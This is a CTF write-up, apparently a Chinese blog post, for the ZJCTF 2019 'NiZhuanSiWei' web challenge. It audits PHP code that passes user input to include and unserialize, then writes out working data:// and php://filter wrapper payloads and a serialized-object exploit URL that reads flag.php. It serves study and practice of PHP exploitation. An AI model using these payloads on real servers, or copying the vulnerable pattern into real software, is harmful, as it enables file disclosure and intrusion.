[ZJCTF 2019]NiZhuanSiWei

发布时间 2023-08-07 14:17:45作者: y0Zero

[ZJCTF 2019]NiZhuanSiWei

题目来源:nssctf

题目类型:web

涉及考点:PHP反序列化、PHP伪协议

1. 还是日常代码审计

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>
  • 首先需要读取$text文件,使其满足强比较,内容为welcome to the zjctf
  • 其次是$file正则过滤了flag,猜测可能存在一个flag.php,但下面有提示用useless.php,一会构造payload考虑
  • 最后是对$password做反序列化,具体如何构造序列化字符串还没思路

2. 依次绕过构造payload

  • 对于$text,我们可以利用data伪协议来传入,具体构造如下:
$text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
//这里是把welcome to the zjctf做了base64编码

data伪协议:

php 5.2.0 起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。使用方法为:

data://text/plain;base64,xxxx(base64编码后的数据)
  • 对于$file,我们需要利用伪协议读取useless.php的内容,因此构造如下:
$file=php://filter/read=convert.base64-encode/resource=useless.php

有关php伪协议详见:[ACTF2020 新生赛]Include

我们先把前两个参数传入看看:

/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

base64解码得到useless.php的源码:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

3. 构造序列化字符串

根据上面得到的源码,我们可以在这里构造$file=flag.php,因此payload如下:

<?php  
class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a = new Flag();
echo urlencode(serialize($a));
?>  

得到:

$password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D  

这里做不做url编码都行

最终我们构造的payload如下:

/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O%3A4%3A"Flag"%3A1%3A%7Bs%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B%7D

需要注意,这里我们令$file=useless.php,是为了使useless.php被包含,而上一步使用php://filter是为了获取useless.php的源码

最终在源代码里看到flag:

NSSCTF{948fa8e1-81dc-4a59-a135-4f6db8c9b0da}

日期:2023.8.7

作者:y0Zero